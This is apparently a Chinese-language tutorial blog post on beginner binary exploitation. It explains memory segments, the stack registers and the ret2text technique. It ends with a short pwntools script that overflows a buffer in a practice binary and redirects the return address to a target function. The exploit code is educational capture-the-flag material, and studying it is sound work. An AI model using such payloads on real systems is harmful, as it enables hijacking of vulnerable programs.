PWN学习-Ret2text

2025/11/29

本篇文章主要介绍了有关于栈结构的介绍以及Ret2text的使用

程序的内存结构

  1. 什么是程序的内存结构

​ 当一个程序开始运行的时候,我们的操作系统就会给程序分配一个虚拟内存,这个虚拟内存空间通常会被划分成好几个逻辑段(分区), 每一个区域负责存储不同类型的数据。

内存段存储内容特点Pwn关联
Text(代码段)程序的机器指令、可执行代码只读静态(大小固定),程序流的起点ret2text 就是要劫持程序流到这里的目标函数
Data/BSS全局变量、静态变量静态(大小固定),程序加载时分配较少用于直接利用,但可能存储重要信息
Stack(栈)函数调用信息、局部变量、函数参数动态向下生长(向低地址),LIFO(后进先出)栈溢出 (Stack Overflow) 的目标区域
Heap(堆)动态分配的内存动态向上生长(向高地址),用于存储大块的、生命周期不确定的数据堆溢出 (Heap Overflow) 的目标区域

在初学阶段,建议是先不学习Heap(堆)难度较大

关键点: 栈和堆是从内存空间的两端(一高一低)向中间生长的。

栈的执行过程

  • 栈是理解函数和调用栈溢出最重要的概念。栈是一个数据结构,用来管理函数执行所需的局部环境,这个环境叫栈帧
寄存器全称作用Pwn 关联
RIP/EIP
(64/32位)
指令指针控制程序下一条要执行的指令地址。Pwn 的最终目标就是控制 RIP/EIP,使其指向我们想要执行的代码。
RBP/EBP
(64/32位)
基址指针标识当前栈帧的底部(或基址),用于稳定地访问局部变量和参数。栈溢出时,通常会先覆盖 RBP,但这不是目的。
RSP/ESP(64/32位)栈顶指针标识当前栈帧的顶部,栈的读写操作都从这里开始。栈是向下生长的,所以 RSP 总是指向地址最低的地方。

image-20251129215437814

Ret2text

  1. 什么是ret2text?

​ 利用栈溢出漏洞,覆盖栈上的返回地址,使其指向程序内存中已经存在的一段代码(即 .text 段中的代码)。

  1. Ret2text 的前提条件

栈溢出漏洞: 程序中存在一个易受攻击的函数(如 getsstrcpy),允许攻击者写入超过缓冲区大小的数据到栈上。

目标函数存在: 程序中必须已经存在一个可以达成攻击目的的函数(例如,一个名为 win()shell() 的函数),并且这个函数的 地址是已知且固定的

例题讲解

这里使用的是社团练习平台的Ret2text

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io = remote("")
io = process("./ret2text")

payload = b'a' * 0x20 + b'b' * 0x08 + p64(0x40115A)
io.sendlineafter(b'Please enter your payload...\n',payload)
io.interactive()